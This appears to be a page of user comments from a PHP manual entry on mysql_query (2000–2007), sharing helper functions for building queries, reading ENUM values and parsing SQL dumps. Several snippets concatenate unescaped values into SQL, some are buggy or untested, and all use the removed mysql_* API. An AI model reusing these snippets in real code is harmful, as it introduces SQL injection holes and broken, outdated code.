echo $userdata['firstname'] $userdata['lastname'] $userdata['email'];

?>
JustinB at harvest dot org 08-Mar-2007 04:01
If you're looking to create a dynamic dropdown list or pull the possible values of an ENUM field for other reasons, here's a handy function:

<?php
// Function to Return All Possible ENUM Values for a Field
function getEnumValues($table, $field) {
    $enum_array = array();
    $query = 'SHOW COLUMNS FROM `' . $table . '` LIKE "' . $field . '"';
    $result = mysql_query($query);
    $row = mysql_fetch_row($result);
    preg_match_all('/\'(.*?)\'/', $row[1], $enum_array);
    if(!empty($enum_array[1])) {
        // Shift array keys to match original enumerated index in MySQL (allows for use of index values instead of strings)
        foreach($enum_array[1] as $mkey => $mval) $enum_fields[$mkey+1] = $mval;
        return $enum_fields;
    }
    else return array(); // Return an empty array to avoid possible errors/warnings if array is passed to foreach() without first being checked with !empty().
}
?>

This function asumes an existing MySQL connection and that desired DB is already selected.

Since this function returns an array with the original enumerated index numbers, you can use these in any later UPDATEs or INSERTS in your script instead of having to deal with the string values.  Also, since these are integers, you can typecast them as such using (int) when building your queries--which is much easer for SQL injection filtering than a string value.
massiv at nerdshack dot com 19-Feb-2007 06:29
Small change in mysql_dump function, to remove the ";" char at the end of the query.

<?
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   //print_r($file_content);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql_line != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $query = str_replace(";", "", "$query");
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>

... Massimo
noah at missionecommerce dot com 15-Dec-2006 06:26
I got so tired of having to type out all the 11 letters in "mysql_query()" and even more tired of having to iterate through the result set....

So I created the perfect little all purpose wrapper function, called "q()";

<?
function q($query,$assoc=1) {
    $r = @mysql_query($query);
    if( mysql_errno() ) {
        $error = 'MYSQL ERROR #'.mysql_errno().' : <small>' . mysql_error(). '</small><br><VAR>$query</VAR>';
        echo($error); return FALSE;
    }
    if( strtolower(substr($query,0,6)) != 'select' ) return array(mysql_affected_rows(),mysql_insert_id());
    $count = @mysql_num_rows($r);
    if( !$count ) return 0;
    if( $count == 1 ) {
        if( $assoc ) $f = mysql_fetch_assoc($r);
        else $f = mysql_fetch_row($r);
        mysql_free_result($r);
        if( count($f) == 1 ) {
            list($key) = array_keys($f);
            return $f[$key];
        } else {
            $all = array();
            $all[] = $f;
            return $all;
        }
    } else {
        $all = array();
        for( $i = 0; $i < $count; $i++ ) {
            if( $assoc ) $f = mysql_fetch_assoc($r);
            else $f = mysql_fetch_row($r);
            $all[] = $f;
        }
        mysql_free_result($r);
        return $all;
    }
}

?>

Example:

<?
$r = q('Select id,foo FROM blah');
echo $r[0]['id']; // first row, field 'id'

// for single field single row selects
// only the value is returned
$count = q('SELECT count(*) from blah');
// $count is the number
?>

Returns affected_rows and/or insert_id for anything other than select's. If you dont want field name keys then pass 0 for second parameter.
babba at nurfuerspam dot de 25-Nov-2006 03:42
Following function creates a minimal update query by comparing two arrays with old and new values (phpmyadmin-like). An easy way to use it in your forms is to print out the old values in hidden fields with name old[$key] and name the visible form fields new[$key]. Feel free to send comments via mail.

<?php
function getUpdateString($tablename, $whereclause, $old, $new) {
    $changedvalues = "";
    foreach($old as $key => $oldvalue) {
        $newvalue = $new[$key];
        if($oldvalue != $newvalue) {
            if($changedvalues != "")
                $changedvalues .= ", ";

            $changedvalues .= "`".$key."`=";
            if(!is_numeric($newvalue))
                $changedvalues .= "'".$newvalue."'";
            else
                $changedvalues .= $newvalue;
        }
    }

    if($changedvalues == "")
        return "";

    return "UPDATE ".$tablename. " SET ".$changedvalues." WHERE ".$whereclause;
}
?>
axiak at mit dot edu 23-Oct-2006 05:13
Gconner at sgi...

your function breaks when you give it a question mark!
Here's a function which correctly implements what I think you want. I'm using it in a pet project of mine.

The code:
<?php
function mysql_prepare ($query, $phs = array()) {
    $phs = array_map(create_function('$ph',
                     'return "\'".mysql_real_escape_string($ph)."\'";'), $phs);

    $curpos = 0;
    $curph  = count($phs)-1;

    for ($i=strlen($query)-1; $i>0; $i--) {

      if ($query[$i] !== '?')  continue;
      if ($curph < 0 || !isset($phs[$curph]))
    $query = substr_replace($query, 'NULL', $i, 1);
      else
    $query = substr_replace($query, $phs[$curph], $i, 1);

      $curph--;
    }
    unset($curpos, $curph, $phs);
    return $query;
}
?>
veyita_angi at hotmail dot com 04-Oct-2006 09:35
this could be a nice way to print values from 2 tables with a foreign key. i have not yet tested correctly but it should work fine.

$buscar = mysql_query("SELECT k.*, e.Clasificacion FROM cat_plan_k k, cat_equipo e WHERE Tipo='$tipo' AND k.ID_Eq=a.ID_Eq");
    while ($row=mysql_fetch_array($buscar))
        {
            $nombre = "e.Clasificacion";
            $row[$nombre] = $Clasific; echo $row[$nombre].'convertido en '.$Clasific;
        }
    mysql_free_result($buscar);
cc+php at c2se dot com 02-Sep-2006 05:39
Here's a parameterised query function for MySQL similar to pg_query_params, I've been using something similar for a while now and while there is a slight drop in speed, it's far better than making a mistake escaping the parameters of your query and allowing an SQL injection attack on your server.

<?php   # Parameterised query implementation for MySQL (similar PostgreSQL's PHP function pg_query_params)
        # Example: mysql_query_params( "SELECT * FROM my_table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );

        if( !function_exists( 'mysql_query_params' ) ) {

                function mysql_query_params__callback( $at ) {
                        global $mysql_query_params__parameters;
                        return $mysql_query_params__parameters[ $at[1]-1 ];
                }

                function mysql_query_params( $query, $parameters=array(), $database=false ) {

                        // Escape parameters as required & build parameters for callback function
                        global $mysql_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : ( NULL===$v ? 'NULL' : "'".mysql_real_escape_string( $v )."'" ) );
                        $mysql_query_params__parameters = $parameters;

                        // Call using mysql_query
                        if( false===$database )
                                return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ) );
                        else    return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ), $database );

                }
        }

?>
joe 29-Aug-2006 12:45
alteration to the script reposted by
webmaster at vs2055067 dot vserver dot de

   $fields = implode(array_keys($toAdd), ',');
   $values = "'".implode(array_values($toAdd), "','")."'";

should really be

   $fields = "`".implode(array_keys($toAdd), '`,`')."`";
   $values = "'".implode(array_values($toAdd), "','")."'";

as keys like `desc` (short for description) cause errors
spencer at barekoncept dot com 23-Aug-2006 09:15
Here's an easy way to store the column names from a specified table in the array "cnames".

$result = mysql_query("SHOW COLUMNS FROM tablename");
$count = 0;
while ($row=mysql_fetch_row($result)){
    $cnt = 0;
    foreach ($row as $item){
        if ($cnt == 0){
            $cnames[$count] = $item;
            $cnt++;
            $count++;
        }
    }
}

Then, to display the results comma delimited:

foreach($cnames as $c){
echo $c.",";
}

I hope this helps some people as it took me a while to figure it out.
webmaster at vs2055067 dot vserver dot de 27-Jul-2006 08:03
in the first note the function doesn't work and the other function is pretty complicated. Here is the corrected version of the first one and a function for update.

<?php
function mysql_insert($table, $toAdd){

   $fields = implode(array_keys($toAdd), ',');
    $values = "'".implode(array_values($toAdd), "','")."'"; # better

   $q = 'INSERT INTO `'.$table.'` ('.$fields.') VALUES ('.$values.')';
   $res = mysql_query($q)OR die(mysql_error());

   return true;

   //-- Example of usage
   //$tToAdd = array('id'=>3, 'name'=>'Yo', 'salary' => 5000);
   //insertIntoDB('myTable', $tToAdd)
}

function mysql_update($table, $update, $where){
    $fields = array_keys($update);
    $values = array_values($update);
     $i=0;
     $query="UPDATE ".$table." SET ";
     while($fields[$i]){
       if($i<0){$query.=", ";}
     $query.=$fields[$i]." = '".$values[$i]."'";
     $i++;
     }
     $query.=" WHERE ".$where." LIMIT 1;";
     mysql_query($query) or die(mysql_error());
     return true;

     //Example
     // mysql_update('myTable', $anarray, "type = 'main'")

}
?>
rob desbois 07-Jul-2006 02:38
Note that the 'source' command used in the mysql client program is *not* a feature of the server but of the client.
This means that you cannot do
   mysql_query('source myfile.sql');
You will get a syntax error. Use LOAD DATA INFILE as an alternative.
cedric ___at___ sadai ___dot___ net 05-Jun-2006 08:26
This is a quick way for adding data to a table. It is the same way than PEAR::DB, so if you are working on a server without PEAR, it enables you to keep up with your habits.

<?php

function    insertIntoDB($table, $toAdd)
{
    $fields = implode(array_keys($toAdd), ',');
    $values = implode(array_values($toAdd), ',');

    $q = 'INSERT INTO `'.$table.'` ('.$fields.') VALUES ('.$values.')';
    $res = mysql_query($q)OR die(mysql_error());

    return    true;
}

//-- Example of usage
$tToAdd = array('id'=>3, 'name'=>'Yo', 'salary' => 5000);
insertIntoDB('myTable', $tToAdd)

?>
matt 21-Mar-2006 03:45
Just realised I posted the wrong functions. Oops!

Here you go....

<?php
function compile_insert_string($data)
{
    $field_names  = "";
    $field_values = "";

    foreach ($data as $k => $v)
    {
        $v = preg_replace( "/'/", "\\'", $v );
        //$v = preg_replace( "/#/", "\\#", $v );
        $field_names  .= "$k,";
        $field_values .= "'$v',";
    }

    $field_names  = preg_replace( "/,$/" , "" , $field_names  );
    $field_values = preg_replace( "/,$/" , "" , $field_values );

    return array('FIELD_NAMES'  => $field_names,
                 'FIELD_VALUES' => $field_values,
                );
}

//------------------------------------------
// insert_query
//
// Wrapper for an insert query
//------------------------------------------

function insert_query($data, $table)
{
    if (!is_array($data) or count($data) < 1)
    {
        $this->fatal_error("Insert data missing");
    }

    $insert = $this->compile_insert_string($data);
    $query = "INSERT INTO {$table} (".$insert['FIELD_NAMES'].") VALUES (".$insert['FIELD_VALUES'].")";

    return $this->query($query);
}
?>
yankee at gmeil dot com 10-Mar-2006 02:07
Another shorter possibility to print options of an ENUM as <select>-tag:
<?php
$result=mysql_query('SHOW COLUMNS FROM <your table> WHERE field=\'<you column>\'');
while ($row=mysql_fetch_row($result))
{
   foreach(explode("','",substr($row[1],6,-2)) as $v)
   {
     print("<option>$v</option>");
   }
}
?>
gconnor at sgi dot com 01-Mar-2006 05:19
I happily grabbed and used the "mysql_prepare()" function given in the first note above.  All is well.

I made a slight tweak so that I could feed in NULL values without getting an empty string (or 0) instead.

   // mysql_query() wrapper. takes two arguments. first
   // is the query with '?' placeholders in it. second argument
   // is an array containing the values to substitute in place
   // of the placeholders (in order, of course).
   // Pass NULL constant in array to get unquoted word NULL
   function mysql_prepare ($query, $phs = array()) {
       foreach ($phs as $ph) {
           if ( isset($ph) ) {
               $ph = "'" . mysql_real_escape_string($ph) . "'";
           } else {
               $ph = "NULL" ;
           }
           $query = substr_replace(
               $query, $ph, strpos($query, '?'), 1
           );
       }
       return mysql_query($query);
   }

Sample function call:
        // Check to see if all variables are defined
        if ( isset($f_hostid,$f_eventid,$f_owner,$f_comment) ) {
                // For numeric values, blank means NULL
                if ( $f_eventid=="" ) { $f_eventid = NULL ; }
                $result = mysql_prepare(
                        'UPDATE Hosts SET event_id=?, owner=?, comment=? WHERE id=?',
                        array( $f_eventid,$f_owner,$f_comment, $f_hostid )
                        );
                if (!$result) {
                        $message  = 'Error while updating: ' . mysql_error() . "<br />\n";
                        die($message);
                }
                echo "Update successful. <br />\n" ;
        } else {
                echo "Missing value.  Update failed... check form logic. <br />\n" ;
        }
22-Feb-2006 11:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
    // mysql_query() wrapper. takes two arguments. first
    // is the query with '?' placeholders in it. second argument
    // is an array containing the values to substitute in place
    // of the placeholders (in order, of course).
    function mysql_prepare ($query, $phs = array()) {
        foreach ($phs as $ph) {
            $ph = "'" . mysql_real_escape_string($ph) . "'";
            $query = substr_replace(
                $query, $ph, strpos($query, '?'), 1
            );
        }

        return mysql_query($query);
    }

    // sample usage
    list($user, $passwd) = array('myuser', 'mypass');

    $sth = mysql_prepare(
        'select userid from users where userid=? and passwd=?',
        array($user, sha1($passwd))
    );
    $row = mysql_fetch_row($sth);

    // successfull username & password authentication
    if ($row !== false) {
        echo "logging in as '{$row[0]}'!\n";
    }

    // oops, wrong userid or passwd
    else {
        echo "Invalid username and password combination.\n";
    }
?>
brjann at no dot gmail dot spam dot com 22-Feb-2006 02:07
Using mysql 4 w/o stored procedures can become quite tedious, especially when writing a lot of standard sql-statements all the time.

These two functions, standardSQLInsert and standardSQLUpdate, handle most of my uncomplex cases of  updating and inserting into tables. Note the use of the quote_smart function, described at http://php.net/mysql_real_escape_string, making all queries safe.

<?php
    function standardSQLInsert($strTableName, $arrValuePairs){
        $strSeparator = '';
        $strCols = '';
        $strValues = '';
        foreach ($arrValuePairs as $strCol => $strValue) {
            $strCols = $strCols.$strSeparator.$strCol;
            $strValues = $strValues.$strSeparator.quote_smart($strValue);
            $strSeparator = ',';
        }
        mysql_query("INSERT INTO $strTableName ($strCols) VALUES($strValues)");
    }

    function standardSQLUpdate($strTableName, $arrValuePairs, $arrConditionPairs){
        $strSeparator = '';
        $strSetStatements = '';
        $strUpdateConditions = '';
        foreach ($arrValuePairs as $strCol => $strValue){
            $strSetStatements = $strSetStatements.$strSeparator.$strCol.'='.quote_smart($strValue);
            $strSeparator = ',';
        }
        $strSeparator = '';
        foreach ($arrConditionPairs as $strCol => $strValue){
            $strUpdateConditions = $strUpdateConditions.$strSeparator.$strCol.'='.quote_smart($strValue);
            $strSeparator = ' AND ';
        }
        $strUpdateConditions = '('.$strUpdateConditions.')';
        mysql_query("UPDATE $strTableName SET $strSetStatements WHERE $strUpdateConditions");
    }

//example
$arrValuePairs = array('Col1' => 'Value1', 'Col2' => 'Value2');
$arrConditionPairs = array('Col3' => 'Value3', 'Col4' => 'Value4');

standardSQLInsert('mytable',$arrValuePairs);
//yields "INSERT INTO mytable (Col1,Col2) VALUES ('Value1','Value2')"

standardSQLUpdate('mytable',$arrValuePairs,$arrConditionPairs);
//yields "UPDATE mytable SET Col1 = 'Value1', Col2 = 'Value2' WHERE (Col3 = 'Value3' AND Col4 = 'Value4')"
?>
aidan at mcquay dot org 07-Feb-2006 12:03
Here's a slight revision of --celtics parse sql file function.  Just fixed a typo: $sql_line != $sql

<?
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   //print_r($file_content);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql_line != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
Harmor 18-Dec-2005 05:32
Modification of hipsurgery submission.  Here's a utility function that will return an array of a table.  Don't forget to connect to the DB before calling this function.
<?php
//Returns an array[columnName] = value of a $table_name
function table_to_array($table_name)
{
  $columns = array();

  $result_all= mysql_query("SELECT * FROM $table_name");
  $result_columns = mysql_query("SHOW COLUMNS FROM $table_name");

  //get the columns from the table into $colums[]
  while ($columnRow = mysql_fetch_array($result_columns, MYSQL_ASSOC))
  {
    $columns[] = $columnRow
  }

  while ($data = mysql_fetch_assoc($result_all, MYSQL_ASSOC))
  {
    foreach ($columns as $column_name)
    {
      $array[$column_name] = $data[$column_name];
    }
  }
return $array;
}
?>
hipsurgery at gmail dot com 05-Nov-2005 10:30
This function will take the contents of any MySQL table, given only the table name, and return it as an index / associative multi-dimensional array in the form of:

$array[$row_number][$column_name] = $value;

I've found this very useful when you don't want to parse the table's contents in to HTML tags during a mysql_fetch_array() iteration.

<?php
function db_to_array($table_name) {

$cols = array();
$x=0;
$this_row=0;

mysql_connect(HOST,USERNAME,PASSWORD);
@mysql_select_db(DATABASE) or die( "Unable to select database");

$result_all=mysql_query("SELECT * FROM $table_name");
$result_cols = mysql_query("SHOW COLUMNS FROM $table_name");

mysql_close();

$numfields = mysql_num_fields($result_all);

for($i=0;$i<mysql_num_rows($result_cols);$i++)
  {
    $cols[] = mysql_result($result_cols, $i);
  }

while ($data = mysql_fetch_assoc($result_all))
  {
    if ($x<$numfields)
      {
        $x++;
      }
    else
      {
        $x = 0;
        $this_row++;
         }

    foreach ($cols as $col_name)
      {
        $array[$this_row][$col_name] = $data[$col_name];
      }

    mysql_data_seek($result_all, $this_row);

  }

return $array;

}

// Test the function...

$test_array = db_to_array("shows");

foreach ($test_array as $outer_key => $single_array)
  {
    foreach ($single_array as $inner_key => $value)
      {
        echo "\$test_array[$outer_key][$inner_key] = $value<br />";
      }
  }
?>

I'm just a hobbyist, so feel free to comment on my code or (worse!) tell me that there's some native PHP function that already does this!
congaz at yahoo dot dk 25-Oct-2005 02:46
Here's a little trick to help you keep track of MySQL table/column names, and the values you want to insert/select.

I always use constants instead of variables for my table/column names. The script that define the constants can then dynamically be set to initialize different table/column names if needed. However, here comes the trick.

Say you have an Insert statement like this:
<?=
// define(TABLE_DOCUMENT, 'table_name');
// define(COL_DOC_PUBLIC, 'column_name');
// etc....

$sql =     "INSERT INTO ".TABLE_DOCUMENT."
                        (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".$doc_public.", ".$doc_upload_tstamp.", ".$doc_name.")";
?>
Now, with long insert statements, I find it easy to loose track of which values goes with which column names. If I somehow could use the constants as variable names, keeping track of all that sql mishmash would be quite a lot easier.

As it turns out, constants names can be used as variable variables (not quite the correct definition when we're actually dealing with constants, but what the heck).

So,the sql above could instead be like this:
<?=
${COL_DOC_PUBLIC} = $doc_public;
${COL_DOC_UPLOAD_TSTAMP} = $doc_upload_tstamp;
${COL_DOC_CREATOR_NAME} = $doc_name;

$sql =     "INSERT INTO ".TABLE_DOCUMENT."
                        (".COL_DOC_PUBLIC.", ".COL_DOC_UPLOAD_TSTAMP.", ".COL_DOC_CREATOR_NAME.") VALUES (".${COL_DOC_PUBLIC}.", ".${COL_DOC_UPLOAD_TSTAMP}.", ".${COL_DOC_CREATOR_NAME}.")";
?>
This little trick made things alot easier for me - especially when dealing with extended querys, where you might have to use the same values in severel insert/select statements. Another thing is, that you can wait to use addslashes()/my_sql_real_escape_string until you create the "variable constants" - thus the task of remebering which values have been prepared to be used in an sql-statement has become fool-proof.

Hope somebody finds this usefull...
php at arcannon dot com 01-Oct-2005 03:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
celtic at raven-blue dot com 10-Sep-2005 07:03
Here's a revision of ix at nivelzero -and- thomas at pixur's code. This SQL dump parser fixes the check for comments that was present in the old (ie. a '--' located anywhere in the string would make it ignore that line!), and adds the check for the # comment. That had me thinking.

<?php
  function parse_mysql_dump($url, $ignoreerrors = false) {
   $file_content = file($url);
   $query = "";
   foreach($file_content as $sql_line) {
     $tsl = trim($sql_line);
     if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {
       $query .= $sql_line;
       if(preg_match("/;\s*$/", $sql_line)) {
         $result = mysql_query($query);
         if (!$result && !$ignoreerrors) die(mysql_error());
         $query = "";
       }
     }
   }
  }
?>
ix at nivelzero dot ro 14-Aug-2005 03:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
    $file_content = file($url);
    $query = "";
    foreach($file_content as $sql_line){
      if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
        $query .= $sql_line;
        if(preg_match("/;[\040]*\$/", $sql_line)){
          $result = mysql_query($query)or die(mysql_error());
          $query = "";
        }
      }
    }
  }
?>
wjyong at sh163 dot net 30-Apr-2005 04:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net 25-Jan-2005 05:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}

/* malformed query /*
$rs = mysql_query("SELECT `foo` FRO `bar`");
if($rs) {
  echo "This will never be echoed";
}
?>
andregodin at gmail dot com 18-Nov-2004 01:03
Another "dumping" function but with the optional possibility to choose wich field_name to be dumped.  "Have Fun and please email me if you do optimization of this code"

<?php
function mysql_format($strTemp){
    //Format sql sentence for insert
    $bad_chars= array("\\", "'", "\"");
    $good_chars = array("\\\\", "''", "\"\"");
    return str_replace($bad_chars, $good_chars, $strTemp);
}

function mysql_dump_table(){
    /*******************\
    *  MYSQL_DUMP_TABLE  *********************************\
    *  Paramêtres :                                       *
    *    1- Table Name                                     *
    *   2- Field(s) (in string format) Name to be dumped  *
    *       If empty, all field will be dumped            *
    \******************************************************/

    if (!(func_num_args())) die ("<b>mysql_dump_table</b>: Need At Least A Table Name");

    $arg_list = func_get_args();
    $arrReturn = "";
    $strTblName = mysql_format("`{$arg_list[0]}`");
    $strFields = "*";

    if (func_num_args() > 1){
        $strFields = "";
        for ($noArg=1; $noArg<func_num_args(); $noArg++){
            if ($strFields) $strFields .= ", ";
            $strFields .= "`$arg_list[$noArg]`";
        }
    }

    $result = mysql_query("SELECT $strFields FROM $strTblName") or die ("Incapable d'exécuter la requête");

    $nbRecord = 0;
    while ($row = mysql_fetch_assoc($result)){
        $strFieldsNames = "";
        $strFieldsValues = "";

        foreach ($row as $field_name => $field_value){
            if ($strFieldsNames) $strFieldsNames .= ", ";
            $strFieldsNames .= "`$field_name`";

            if($strFieldsValues) $strFieldsValues .= ", ";
            $strFieldsValues .= "'" . mysql_format($field_value) . "'";
        }

        $arrReturn[$nbRecord++] = "INSERT INTO $strTblName($strFieldsNames) values($strFieldsValues);";
    }
    mysql_free_result($result);
    return $arrReturn;
}

require_once("config_connexion_db_test.php");

/****************
* AUTRE EXEMPLE  **********************************************
*    Vous pouvez décider d'afficher quelques champs seulements *
*  en spécifiant les champs désiré                            *
**************************************************************/
$db = mysql_connect(DBTEST_HOST, DBTEST_USER, DBTEST_PASSWORD) or die("Impossible de se connecter : ");
mysql_select_db(DBTEST_NAME, $db);

$result = mysql_dump_table("tbl_produits", "code_produit", "description");

foreach ($result as $sentence){
    //Afficher chaque élément du tableau
    print "$sentence<br>";
}
mysql_close($db);

//Retourne
/********************************************************
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit1', 'don\'t have description');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit2', 'without \"description\" too');
INSERT INTO `tbl_produits`(`code_produit`,`description`) VALUES('produit3', '1\\3 more than before');
...
...
*********************************************************/

?>
PHP is a very nice language!
André Godin :)
me at harveyball dot com 11-Sep-2004 01:13
Just thought id post this as i couldnt find a nice and simple way of dumping data from a mysql database and all the functions i found were way overly complicated so i wrote this one and thought id post it for others to use.

//$link is the link to the database file
//$db_name is the name of the database you want to dump
//$current_time is just a reference of time()

//returns $thesql which is a string of all the insert into statements

function dumpData()
{
global $link,$db_name,$current_time;
$thesql="";
$thesql.="#SQL DATA FOR $mdb_name \n";
$thesql.="#BACK UP DATE ". date("d/m/Y G:i.s",$current_time)." \n";
$result = mysql_list_tables($mdb_name);
while ($row = mysql_fetch_row($result))
    {
    $getdata=mysql_query("SELECT * FROM $row[0]");
    while ($row1=mysql_fetch_array($getdata))
        {
        $thesql.="INSERT INTO `$row[0]` VALUES (";
        $getcols = mysql_list_fields($mdb_name,$row[0],$link);
            for($c=0;$c<mysql_num_fields($getcols);$c++)
                {
                if (strstr(mysql_field_type($getdata,$c),'blob')) $row1[$c]=bin2hex($row1[$c]);
                //Binary null fix if ever needed
                if ($row1[$c]=="0x") $row1[$c]="0x1";

                //delimit the apostrophies for mysql compatability
                $row1[$c]=str_replace("'","''",$row1[$c]);
                if (strstr(mysql_field_type($getdata,$c),'blob'))
                $thesql.="0x$row1[$c]";
                else
                $thesql.="'$row1[$c]'";
                if ($c<mysql_num_fields($getcols)-1) $thesql.=",";
                }
            $thesql.=");;\n";
        }
    }
return $thesql;
}

Please note the sql statements are terminated with ;; not a ; this is so when you want to do a multiple query you can tokenise the sql string with a ;; which allows your data to contain a ;

If you want to run the multiple query then use this simple function which i wrote due to not being able to find a decent way of doing it

//$q is the query string ($thesql returned string)
//$link is the link to the database connection
//returns true or false depending on whether a single query is executed allows you to check to see if any queries were ran

function multiple_query($q,$link)
    {
    $tok = strtok($q, ";;\n");
    while ($tok)
        {
        $results=mysql_query("$tok",$link);
        $tok = strtok(";;\n");
        }
    return $results;
    }
mark @t ilisys dot c0m au 13-Jul-2004 09:05
The default mysql max_allowed_packet setting is in fact 16MB. The gotcha you can fall into is your text field type.
eg:
TEXT    Variable-length string up to 65,535 characters long.
MEDIUMTEXT    Variable-length string up to 16,777,215 characters long.
LONGTEXT    Variable-length string up to 4,294,967,295 characters long.
(corresponding sizes for blob, mediumblob, longblob)
Predrag Supurovic 30-Nov-2003 04:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
      $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
    };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
    $command_line = trim($command_line);
    if ($command_line != '') {
      $query_result = mysql_query($command_line);
      if ($query_result == 0) {
        break;
      };
    };
  };
  return $query_result;
}
chris at hotmail dot com 30-Apr-2003 06:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net 19-Apr-2003 12:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
    {
    $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
    $dbQuery = mysql_query($dbSQL);

    $dbRow = mysql_fetch_assoc($dbQuery);
    $EnumValues = $dbRow["Type"];

    $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
    $EnumValues = str_replace("','",",",$EnumValues);

    return explode(",",$EnumValues);
    }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 12:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net 28-Mar-2003 05:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
claude_minette at hotmail dot com 18-Nov-2002 04:15
I nedded to have a select box containing the fields of an ENUM in a MySQL table.

Use this if you need it too. it may be useful. Be sure to be connected and use $table to choose the table you want to describe.

$table="Ma_table"
$describe=mysql_query("describe $table");
while ($ligne=mysql_fetch_array($describe)){
    extract($ligne);
    if (substr($Type,0,4)=='enum'){
        echo $Type;
        $liste=substr($Type,5,strlen($Type));
        $liste=substr($liste,0,(strlen($liste)-2));
        $enums=explode(',',$liste);
        if (sizeof($enums)>0){
            echo "<select name='enum'>\n";
            for ($i=0; $i<sizeof($enums);$i++){
                $elem=strtr($enums[$i],"'"," ");
                echo "<option value='".$elem."'>".$elem."</option>\n";
            }
            echo "</select>";
        }
    }
}

Hope it will help...
Some improvements can bee done, if you do, please mail me the improvements you've done...

Min's
acloutier at agricom dot ca 16-Nov-2001 03:03
You can put multiple query with PHP && MySQL:

//initialise MySQL users variables
mysql_query("select @a:=0,@b:=0");

//select values of variables
mysql_query("select @a:=sum(rate), @b:=count(*) from ratetable where rated_user_id='$id'");

//finally, select for result
$rate_id_select=mysql_query("select @c:=round(@a/@b) as effective_rate");

//..and result $rate_user=mysql_result($rate_id_select,0,"effective_rate");

...

echo $rate_user;

Alain Cloutier
webmaster@saguenay.cc
nikhil-php at nols dot com 02-Jan-2000 12:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536
mysql_ping
mysql_real_escape_string
MySQL Functions


Escapes special characters in a string for use in an SQL statement

mysql_query
mysql_result
MySQL Functions
